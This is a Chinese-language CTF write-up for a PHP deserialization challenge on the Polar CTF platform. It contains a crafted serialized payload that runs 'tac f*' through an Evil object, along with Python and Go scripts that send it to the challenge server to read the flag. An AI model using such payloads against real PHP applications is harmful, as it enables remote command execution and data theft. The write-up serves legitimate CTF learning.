做提升自己的網(wǎng)站汕頭自動seo
Polar Web【簡單】PHP反序列化初試
Contents
- Polar Web【簡單】PHP反序列化初試
- 思路
- EXP
- 手動
- 腳本
- Python
- Go
- 運行&總結(jié)
思路
啟動環(huán)境,顯示下圖中的PHP代碼,于是展開分析:
- 首先發(fā)現(xiàn)
Easy
類中有魔術(shù)函數(shù)__wakeup()
,實現(xiàn)的是對成員變量$name
的回顯。- 觀察下方發(fā)現(xiàn),
unserialize()
函數(shù)將觸發(fā)該魔術(shù)函數(shù)的執(zhí)行,因此考慮構(gòu)造序列字符串傳入該類的成員變量$name
中,以觸發(fā)命令執(zhí)行。
- 本題分別使用手動注入和腳本運行兩種方式進行解答。
EXP
手動
腳本
Python
import requestsdef attack(url, payload):url += payloadres = (requests.get(url).content.decode('utf8'))if res:print(res[res.rindex('flag'):res.rindex('"')])if __name__ == '__main__':site = 'http://~.www.polarctf.com:8090/'pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'attack(site, pl)
Go
package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)func attack(url string) {//fmt.Println("url:", url)if resp, err := http.Get(url); err != nil {panic("GET ERR: " + err.Error())} else {out, _ := ioutil.ReadAll(resp.Body)ans := string(out)fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "\"")])}
}func main() {baseURL := "http://~.www.polarctf.com:8090/"// 解析基礎(chǔ) URLu, err := url.Parse(baseURL)if err != nil {panic(err)}// 解析查詢字符串q, err := url.ParseQuery(u.RawQuery)if err != nil {panic(err)}// 添加或更新查詢參數(shù)q.Set("easy", "O:4:\"Easy\":1:{s:4:\"name\";O:4:\"Evil\":2:{s:4:\"evil\";s:6:\"tac f*\";s:3:\"env\";N;}}")// 編碼查詢字符串u.RawQuery = q.Encode()attack(u.String())
}
- !注意 !在Go語言中,為了防止特殊的字符導(dǎo)致URL被截斷引發(fā)HTTP請求異常,需要對原生URL進行編碼處理。
運行&總結(jié)
- 本題考查PHP代碼分析、反序列化以及序列構(gòu)造的技巧
- 需要對PHP面向?qū)ο笤O(shè)計有所認識